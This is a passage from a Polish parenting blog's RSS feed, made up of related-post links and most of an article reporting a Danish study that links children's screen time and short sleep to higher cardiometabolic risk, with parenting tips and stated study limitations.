https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
513. </div>
514. <h4 class="uagb-post__title uagb-post__text">
515. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Psy potrafią kategoryzować przedmioty jak małe dzieci</a>
516. </h4>
517. <div class='uagb-post__text uagb-post-grid-byline'>
518. </div>
519. <div class="uagb-post__text uagb-post__cta wp-block-button">
520. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
521. </div>
523. </article>
524. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
525. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="wspomnienia z dzieciństwa jak odzyskać" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
526. </div>
527. <h4 class="uagb-post__title uagb-post__text">
528. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a>
529. </h4>
530. <div class='uagb-post__text uagb-post-grid-byline'>
531. </div>
532. <div class="uagb-post__text uagb-post__cta wp-block-button">
533. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
534. </div>
536. </article>
537. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
538. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="516" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg" class="attachment-medium_large size-medium_large" alt="czas zimowy a rytm dobowy dziecka badanie stanford" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-300x201.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1024x687.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1536x1031.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
539. </div>
540. <h4 class="uagb-post__title uagb-post__text">
541. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Czas zimowy chroni zdrowie: badanie Stanford Medicine</a>
542. </h4>
543. <div class='uagb-post__text uagb-post-grid-byline'>
544. </div>
545. <div class="uagb-post__text uagb-post__cta wp-block-button">
546. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
547. </div>
549. </article>
550. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
551. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg" class="attachment-medium_large size-medium_large" alt="person, human, child, girl, face, closed eyes, sense, feel, close up, sense, sense, sense, sense, sense, feel" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323.jpg 1280w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
552. </div>
553. <h4 class="uagb-post__title uagb-post__text">
554. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Mózg działa najlepiej z siedmioma zmysłami, nie pięcioma</a>
555. </h4>
556. <div class='uagb-post__text uagb-post-grid-byline'>
557. </div>
558. <div class="uagb-post__text uagb-post__cta wp-block-button">
559. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
560. </div>
562. </article>
563. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
564. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg" class="attachment-medium_large size-medium_large" alt="burger with lettuce and fries on brown wooden table" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
565. </div>
566. <h4 class="uagb-post__title uagb-post__text">
567. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Fast food zaburza pamięć już po 4 dniach</a>
568. </h4>
569. <div class='uagb-post__text uagb-post-grid-byline'>
570. </div>
571. <div class="uagb-post__text uagb-post__cta wp-block-button">
572. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
573. </div>
575. </article>
576. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
577. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg" class="attachment-medium_large size-medium_large" alt="autyzm ewolucja ludzkiego mozgu badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-300x225.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1024x768.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1536x1152.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
578. </div>
579. <h4 class="uagb-post__title uagb-post__text">
580. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Autyzm ceną za ludzką inteligencję?</a>
581. </h4>
582. <div class='uagb-post__text uagb-post-grid-byline'>
583. </div>
584. <div class="uagb-post__text uagb-post__cta wp-block-button">
585. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
586. </div>
588. </article>
589. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
590. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="Creative illustration highlighting ADHD awareness with colorful brain imagery." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
591. </div>
592. <h4 class="uagb-post__title uagb-post__text">
593. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">ADHD wzmacnia kreatywność – odkrycie naukowców</a>
594. </h4>
595. <div class='uagb-post__text uagb-post-grid-byline'>
596. </div>
597. <div class="uagb-post__text uagb-post__cta wp-block-button">
598. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
599. </div>
601. </article>
602. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
603. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg" class="attachment-medium_large size-medium_large" alt="woman in white lace sleeveless dress standing beside brown wooden crib" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
604. </div>
605. <h4 class="uagb-post__title uagb-post__text">
606. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Dieta tłuszczowa chroni dzieci przed skutkami stresu w ciąży</a>
607. </h4>
608. <div class='uagb-post__text uagb-post-grid-byline'>
609. </div>
610. <div class="uagb-post__text uagb-post__cta wp-block-button">
611. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
612. </div>
614. </article>
615. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
616. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp" class="attachment-medium_large size-medium_large" alt="zywy slimak poza cialem mechanizmy sluchu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-300x169.webp 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1024x576.webp 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1536x864.webp 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu.webp 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
617. </div>
618. <h4 class="uagb-post__title uagb-post__text">
619. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Żywy ślimak poza ciałem pokazuje, jak działa słuch</a>
620. </h4>
621. <div class='uagb-post__text uagb-post-grid-byline'>
622. </div>
623. <div class="uagb-post__text uagb-post__cta wp-block-button">
624. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
625. </div>
627. </article>
628. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
629. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a person lying on a bed with a tablet" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
630. </div>
631. <h4 class="uagb-post__title uagb-post__text">
632. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Smartfon przed 13. rokiem życia a zdrowie psychiczne</a>
633. </h4>
634. <div class='uagb-post__text uagb-post-grid-byline'>
635. </div>
636. <div class="uagb-post__text uagb-post__cta wp-block-button">
637. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
638. </div>
640. </article>
641. </div>
643.  
644.  
645. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
646.  
647.  
648.  
649. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
650.  
651.  
652.  
653. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
654. <p>Artykuł <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
655. ]]></content:encoded>
659. </item>
660. <item>
661. <title>Ekrany zagrażają sercu dzieci – odkrycia naukowców</title>
662. <link>https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/</link>
664. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
665. <pubDate>Wed, 05 Nov 2025 17:44:48 +0000</pubDate>
666. <category><![CDATA[aktualnosci]]></category>
667. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86770</guid>
668.  
669. <description><![CDATA[<p>Każda dodatkowa godzina przed ekranem – telewizorem, telefonem czy tabletem – zwiększa u dzieci ryzyko problemów z sercem i metabolizmem. Badacze z Uniwersytetu w Kopenhadze odkryli, że u nastolatków, którzy spędzają przed ekranami 3-6 godzin dziennie, efekt jest szczególnie widoczny. Co więcej, sen odgrywa tu kluczową rolę – jego brak potęguje negatywne skutki. Jak chronić zdrowie swojego dziecka?</p>
670. <p>Artykuł <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/">Ekrany zagrażają sercu dzieci – odkrycia naukowców</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
671. ]]></description>
672. <content:encoded><![CDATA[
673. <p class="has-ast-global-color-6-background-color has-background">Dzieci i nastolatki spędzające wiele godzin przed ekranami – telewizorami, telefonami, tabletami, komputerami czy konsolami do gier – mają wyższe ryzyko problemów kardiometabolicznych. Chodzi o podwyższone ciśnienie krwi, niekorzystny poziom cholesterolu oraz insulinooporność. Takie wnioski płyną z badania opublikowanego w Journal of the American Heart Association.</p>
674.  
675.  
676.  
677. <p>Warto wiedzieć, że według danych American Heart Association z 2023 roku ryzyko kardiometaboliczne narasta u coraz młodszych osób. W latach 2013-2018 tylko 29% amerykańskich dzieci i młodzieży w wieku 2-19 lat miało korzystny profil zdrowia kardiometabolicznego.</p>
678.  
679.  
680.  
681. <h2 class="wp-block-heading">Duńskie badanie pokazuje wyraźny wzorzec</h2>
682.  
683.  
684.  
685. <p>Naukowcy z Copenhagen Prospective Studies on Asthma in Childhood (COPSAC) na Uniwersytecie w Kopenhadze przeanalizowali dane ponad tysiąca uczestników z dwóch duńskich badań. Odkryli wyraźny związek: więcej czasu spędzanego rekreacyjnie przed ekranami wiązało się ze znacząco wyższym ryzykiem sercowo-naczyniowym i ogólnym ryzykiem kardiometabolicznym u dzieci i młodzieży.</p>
686.  
687.  
688.  
689. <p>„Ograniczanie czasu przed ekranem w dzieciństwie i adolescencji może chronić długoterminowe zdrowie serca i metabolizmu&#8221; – mówi główny autor badania, dr David Horner, badacz z COPSAC. „Nasze badanie dostarcza dowodów, że ten związek zaczyna się wcześnie i podkreśla znaczenie zrównoważonych codziennych rutyn&#8221;.</p>
690.  
691.  
692.  
693. <h2 class="wp-block-heading">Co dokładnie mierzyli naukowcy</h2>
694.  
695.  
696.  
697. <p>Zespół przeanalizował dwie grupy COPSAC: dzieci dziesięcioletnie obserwowane od 2010 roku oraz nastolatki osiemnastoletnie obserwowane od 2000 roku. Badacze sprawdzali, jak czas spędzany przed ekranami w celach rozrywkowych wpływa na czynniki ryzyka kardiometabolicznego. Do czasu przed ekranem zaliczono oglądanie telewizji i filmów, granie w gry oraz korzystanie z telefonów, tabletów lub komputerów dla zabawy.</p>
698.  
699.  
700.  
701. <p>Aby uchwycić ogólne ryzyko, naukowcy stworzyli złożony wskaźnik kardiometaboliczny oparty na wielu komponentach zespołu metabolicznego. Uwzględnili obwód talii, ciśnienie krwi, poziom cholesterolu HDL (tego „dobrego&#8221;), trójglicerydów oraz poziomu cukru we krwi. Wskaźnik uwzględniał też płeć i wiek. Pokazuje on ryzyko każdego uczestnika w stosunku do średniej w badaniu: 0 oznacza przeciętne ryzyko, a 1 oznacza jedno odchylenie standardowe powyżej przeciętnej.</p>
702.  
703.  
704.  
705. <h2 class="wp-block-heading">Każda godzina ma znaczenie</h2>
706.  
707.  
708.  
709. <p>Analiza wykazała, że każda dodatkowa godzina rekreacyjnego czasu przed ekranem wiązała się ze wzrostem wskaźnika kardiometabolicznego o około 0,08 odchylenia standardowego u dziesięciolatków i 0,13 odchylenia standardowego u osiemnastolatków. „To oznacza, że dziecko z trzema dodatkowymi godzinami przed ekranem dziennie miałoby mniej więcej od jednej czwartej do połowy odchylenia standardowego wyższe ryzyko niż ich rówieśnicy&#8221; – wyjaśnia Horner.</p>
710.  
711.  
712.  
713. <p>„To niewielka zmiana na godzinę, ale gdy czas przed ekranem kumuluje się do trzech, pięciu czy nawet sześciu godzin dziennie, jak widzieliśmy u wielu nastolatków, to się sumuje&#8221; – dodaje badacz. „Pomnóż to przez całą populację dzieci, a patrzysz na znaczącą zmianę we wczesnym ryzyku kardiometabolicznym, które może przenosić się w dorosłość&#8221;.</p>
714.  
715.  
716.  
717. <h2 class="wp-block-heading">Krótki sen nasila ryzyko</h2>
718.  
719.  
720.  
721. <p>Krótki sen i późniejsze kładzenie się spać wzmacniały związek między czasem przed ekranem a ryzykiem kardiometabolicznym. Młodzi ludzie, którzy spali mniej, wykazywali wyraźnie wyższe ryzyko związane z tą samą dawką ekspozycji na ekrany.</p>
722.  
723.  
724.  
725. <p>„W dzieciństwie czas snu nie tylko moderował tę relację, ale także częściowo ją wyjaśniał: około 12% związku między czasem przed ekranem a ryzykiem kardiometabolicznym było pośredniczone przez krótszy czas snu&#8221; – mówi Horner. „Te odkrycia sugerują, że niewystarczający sen może nie tylko zwiększać wpływ czasu przed ekranem, ale może być kluczową ścieżką łączącą nawyki ekranowe z wczesnymi zmianami metabolicznymi&#8221;.</p>
726.  
727.  
728.  
729. <h2 class="wp-block-heading">Metaboliczny „odcisk palca&#8221; związany z ekranami</h2>
730.  
731.  
732.  
733. <p>W analizie wykorzystującej uczenie maszynowe badacze zidentyfikowali charakterystyczny wzorzec metabolitów we krwi, który wydawał się korelować z czasem przed ekranem.</p>
734.  
735.  
736.  
737. <p>„Udało nam się wykryć zestaw zmian metabolitów we krwi, &#8216;odcisk palca czasu przed ekranem&#8217;, potwierdzający potencjalny biologiczny wpływ zachowania związanego z ekranami&#8221; – wyjaśnia Horner. „Używając tych samych danych metabolomicznych, oceniliśmy też, czy czas przed ekranem był powiązany z przewidywanym ryzykiem sercowo-naczyniowym w dorosłości. Znaleźliśmy pozytywny trend w dzieciństwie i znaczący związek w adolescencji. To sugeruje, że zmiany metaboliczne związane z ekranami mogą nieść wczesne sygnały długoterminowego ryzyka dla zdrowia serca&#8221;.</p>
738.  
739.  
740.  
741. <p>Badacz dodaje, że rozpoznawanie i omawianie nawyków ekranowych podczas wizyt pediatrycznych mogłoby stać się częścią szerszego poradnictwa dotyczącego stylu życia, podobnie jak dieta czy aktywność fizyczna. Te wyniki otwierają też drzwi do wykorzystania sygnatur metabolomicznych jako wczesnych obiektywnych markerów ryzyka związanego ze stylem życia.</p>
742.  
743.  
744.  
745. <h2 class="wp-block-heading">Praktyczne wskazówki od ekspertów</h2>
746.  
747.  
748.  
749. <p>Dr Amanda Marma Perak, przewodnicząca komitetu American Heart Association ds. prewencji chorób sercowo-naczyniowych u młodych serc, która nie była zaangażowana w to badanie, podkreśla, że skupienie się na śnie to świetny punkt wyjścia do zmiany wzorców czasu przed ekranem.</p>
750.  
751.  
752.  
753. <p>„Jeśli ograniczenie czasu przed ekranem wydaje się trudne, zacznij od przesunięcia korzystania z ekranów na wcześniejsze godziny i skup się na wcześniejszym i dłuższym spaniu&#8221; – radzi Perak, profesor pediatrii i medycyny prewencyjnej w Northwestern University Feinberg School of Medicine w Chicago.</p>
754.  
755.  
756.  
757. <p>Dorośli mogą też dawać przykład, dodaje. „Wszyscy używamy ekranów, więc ważne jest, by prowadzić dzieci, nastolatków i młodych dorosłych do zdrowego korzystania z ekranów w sposób, który rośnie razem z nimi. Jako rodzic możesz modelować zdrowe używanie ekranów – kiedy je odłożyć, jak z nich korzystać, jak unikać wielozadaniowości. A gdy dzieci trochę podrosną, bądź bardziej dosłowny, opowiadaj, dlaczego odkładasz urządzenia podczas kolacji lub innych wspólnych chwil&#8221;.</p>
758.  
759.  
760.  
761. <p>„Upewnij się, że wiedzą, jak się bawić i uspokajać bez ekranu i potrafią radzić sobie z nudą! Nuda rodzi genialność i kreatywność, więc nie przejmuj się, gdy dzieci narzekają, że się nudzą. Samotność i dyskomfort będą się zdarzać przez całe życie, więc to okazje, by wspierać i mentorować dzieci w zdrowych sposobach reagowania, które nie obejmują scrollowania&#8221;.</p>
762.  
763.  
764.  
765. <h2 class="wp-block-heading">Ważne zastrzeżenia i kolejne pytania</h2>
766.  
767.  
768.  
769. <p>Ponieważ ta praca ma charakter obserwacyjny, ujawnia związki, a nie bezpośredni związek przyczynowo-skutkowy. Dodatkowo korzystanie z ekranów przez dziesięciolatków i osiemnastolatków było zgłaszane przez rodziców w kwestionariuszach, co może nie odzwierciedlać idealnie rzeczywistego czasu spędzanego przed ekranami.</p>
770.  
771.  
772.  
773. <figure class="wp-block-embed is-type-wp-embed is-provider-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki wp-block-embed-przystanek-rodzinka-blog-parentingowy-o-dzieciach-okiem-logopedki"><div class="wp-block-embed__wrapper">
774. <blockquote class="wp-embedded-content" data-secret="zjncZYPJU0"><a href="https://przystanekrodzinka.pl/szkodliwe-bajki-dla-dzieci-kompletny-przewodnik-dla-rodzicow-w-2025-roku/">Szkodliwe bajki dla dzieci – kompletny przewodnik dla rodziców</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8222;Szkodliwe bajki dla dzieci – kompletny przewodnik dla rodziców&#8221; &#8212; Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki" src="https://przystanekrodzinka.pl/szkodliwe-bajki-dla-dzieci-kompletny-przewodnik-dla-rodzicow-w-2025-roku/embed/#?secret=Bmmm8YkYzH#?secret=zjncZYPJU0" data-secret="zjncZYPJU0" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
775. </div></figure>
776.  
777.  
778.  
